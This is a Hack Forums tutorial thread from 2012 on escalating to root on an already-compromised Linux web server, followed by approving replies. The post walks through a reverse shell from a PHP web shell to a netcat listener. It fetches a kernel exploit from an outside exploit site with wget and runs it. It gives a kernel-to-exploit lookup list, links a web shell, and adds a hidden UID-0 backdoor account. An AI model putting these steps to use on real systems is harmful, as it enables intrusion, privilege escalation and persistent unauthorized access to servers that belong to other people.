Rooting Tutorial and Adding New Root User [NOOB FRIENDLY] [PICTURES]

Rooting Tutorial and Adding New Root User [NOOB FRIENDLY] [PICTURES] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Rooting Tutorial and Adding New Root User [NOOB FRIENDLY] [PICTURES] (/showthread.php?tid=2495782)

Pages: Pages 1 2 3 4

Rooting Tutorial and Adding New Root User [NOOB FRIENDLY] [PICTURES] - HaxOr❤ - May 14, 2012

Hello all and welcome to a tutorial on how to root a linux server.
This is going to be short,HQ tutorial with pictures included (For better learining)

So let's start with things you will need:

1) Shelled website
2) Local root exploit
3) NetCat

Chapter 1 - Gathering informations

Open up your .php shell on a hacked webserver.
I have mine for an example
Spoiler (Click to View)

Now you need to check what kernel your victim is using...
It should be something like

Code 
Linux hosting.net 2.6.18-1.2257.fc5smp #1 SMP Date time 2006 i686

Next thing you wanna do is to look for an local root exploit.
From example provided mine one is 2.6.18 2006

Here's the list of exploits

Code 
2 ->  ptrace

4.17 -> newlocal, kmod, uselib24

4.18 -> brk, brk2, newlocal, kmod

4.19 -> brk, brk2, newlocal, kmod

4.20 -> ptrace, kmod, ptrace-kmod, brk, brk2

4.21 -> brk, brk2, ptrace, ptrace-kmod

4.22 -> brk, brk2, ptrace, ptrace-kmod

4.22-10 -> loginx

4.23 -> mremap_pte

4.24 -> mremap_pte, uselib24

4.25-1 -> uselib24

4.27 -> uselib24

6.2 -> mremap_pte, krad, h00lyshit

6.5 -> krad, krad2, h00lyshit

6.6 -> krad, krad2, h00lyshit

6.7 -> krad, krad2, h00lyshit

6.8 -> krad, krad2, h00lyshit

6.8-5 -> krad2, h00lyshit

6.9 -> krad, krad2, h00lyshit

6.9-34 -> r00t, h00lyshit

6.10 -> krad, krad2, h00lyshit

6.13 -> raptor, raptor2, h0llyshit, prctl

6.14 -> raptor, raptor2, h0llyshit, prctl

6.15 -> raptor, raptor2, h0llyshit, prctl

6.16 -> raptor, raptor2, h0llyshit, prctl

6.23 - 2.6.24 -> diane_lane_**_hard.c

6.17 - 2.6.24-1 -> jessica_biel_naked_in_my_bed.c

Now when you confirmed your exploit it's time to find it...
Google is your best friend and this site here...
http://localroot.th3-0utl4ws.com/ It does have many exploits.

NOTE: If your webserver have 2.6.18 2011 kernel,then you have 0.0001% chances that you will root it,because there's no public exploit for that version.

Chapter 2 - Backconnecting to the server

For this you will need:

1) NetCat
2) Open port (Example. 443 I won't teach how to port forward,use Google if you don't know how!!)

So open your netcat and type:

Code 
-l -vv -p 433

Hit "Enter"

Now it should write "listening on [any] 443 ..."
Good.

[img]http://img843.imageshack.us/img843/527/regiongf.png[/img]

Go back to your shell and go to "BackConnect function"
Many shells have it.
Enter your port and press "Connect".

[img]http://img820.imageshack.us/img820/3856/regionss.png[/img]

Now it should connect to your netcat
I got something like this:

[img]http://img195.imageshack.us/img195/9016/regionrs.png[/img]

Chapter 3 - Downloading exploit and executing it

Now we will need our exploit from Chapter 1
There's 2 way of uploading:

1) Using shell uploader
2) Using 'wget' function (Requires backconnection)

I'm going to use 'wget' function because it's easier and faster.
So copy your exploit link (Mine one http://localroot.th3-0utl4ws.com/xploits/2.6.18-164.zip) and go back to your netcat and type:

Code 
wget http://localroot.th3-0utl4ws.com/xploits/2.6.18-164.zip

Now it downloaded out exploit named "2.6.18-164.zip" on our server.

[img]http://img96.imageshack.us/img96/2293/regionv.png[/img]

NOTE:
Spoiler (Click to View)

If you downloaded your exploit in zip file anyrandomname.zip type:

Code 
unzip anyrandomname.zip

[img]http://img864.imageshack.us/img864/1460/regionyq.png[/img]

Now you should have your exploit (Like mine "2.6.18-164")

If you completed all steps it's time to get root.

Type:

Code 
chmod 777 yourexploitsname

With common sense where i typed "yourexploitsname" you will type your exploits name.

And one last final step is to run our exploit

Code 
./yourexploit'sname

To check if you got root type

Code 
id

Code 
whoami

Mine steps to root

[img]http://img268.imageshack.us/img268/8457/commandpromptnclvvp433.png[/img]

Chapter 4 - Adding root user

Adding new root user is fairly easy
We use this command:

Code 
adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M root2

Command explanations:

Quote:adduser - Using Linux adduser command to create a new user account or to update default new user information.

-u 0 -o - Set the value of user id to 0.

-g 0 - Set the initial group number or name to 0

-G 0,1,2,3,4,6,10 - Set supplementary group to:
0 = root
1 = bin
2 = daemon
3 = sys
4 = adm
6 = disk
10 = wheel

-M - 'home directory' not created for the user.

root2 - User name of the new user account.

NOTE: Change root2 to your desired username.

Now you need to set a password for your username.
Type in next:

Code 
passwd Root2

(Root2 is your username)

See an example

Code 
[root@fedora ~]# passwd root2

Changing password for user root2.

New UNIX password:

Retype new UNIX password:

passwd: all authentication tokens updated successfully.

To check if you did alright

Code 
id root2

(Root2 is your username)

[img]http://images.devs-on.net/Image/LEoszc56WjqoepL-CWINDOWSsystem32.png[/img]

All programs/sites i used:

GNY shell - http://www.theopenmic.net/picts/gny.txt
Google - http://google.com
NetCat - http://downloadnetcat.com/nc11nt.zip

So that concluded our rooting tutorial.
I hope that someone will learn from this and that this thread will be bookmarked for generations. 😁

* - Numinous - May 14, 2012

Nice tut bro
Awesome
Simply and Rocks as usual
Gud luck bro

* - gerardoxd - May 14, 2012

excellent tutorial
I will try on a server that I have a shell up

* - conan_1 - May 14, 2012

As I say always, Haxor you're making great tuts, nice shot and even knowing that I'll bookmark it :D
Hope seeing more great tuts, some difficult ones ;)

* - Hooded Robin - May 14, 2012

Its even better than the original thread with the new console colors you have :p

* - xXWraithXx - May 14, 2012

I love this! So I can totally vouch for it as well! Thanks So much!!

* - HeXagone - May 14, 2012

Love this tutorial :) But where the hell you will find again a 2006 kernel looool

Bookmarked :)

* - dawnofwar - May 14, 2012

Nice tutorial man, nicely written, easy to understand, and not a shitty layout!!! I hate those threads that use high class layouts but you can't even read the text and they are used for tutorials =/

Do you need to portforward to be able to do this?
It is impossible to portforward my router, but I can get ports on my VPN forwarded if that will work??

* - BeggFoMercy - May 14, 2012

I wonder how do u make ur console's color blue ;)

* - -DownFall - May 14, 2012

(May 14, 2012 05:04 PM)BeggFoMercy Wrote: I wonder how do u make ur console's color blue ;)

Code 
color 10

Lol it looks better with a black background and lime green text c:

* - torque59 - May 14, 2012

Excellent tut explained beautifully

* - sl4sh3rz - May 14, 2012

its so easy to root but its so hard to upload shell hahahahaha

* - Suved - May 14, 2012

awesome tutorial.
This tutorial helped me a lot.
thanks for tutorial.

* - HaxOr❤ - May 15, 2012

(May 14, 2012 09:27 PM)sl4sh3rz Wrote: its so easy to root but its so hard to upload shell hahahahaha

Uploading shells is even more easy!
If you need any help PM me. :)

@All
Thanks for the feedback guys <3

And this is how you change your CMD colors:

[img]http://img405.imageshack.us/img405/1029/regionud.png[/img]
[img]http://img401.imageshack.us/img401/5980/regionbg.png[/img]

* - sumit2531 - May 15, 2012

Great TuT..!!

Simple and well explained..:)

Thanks for sharing this..!! :D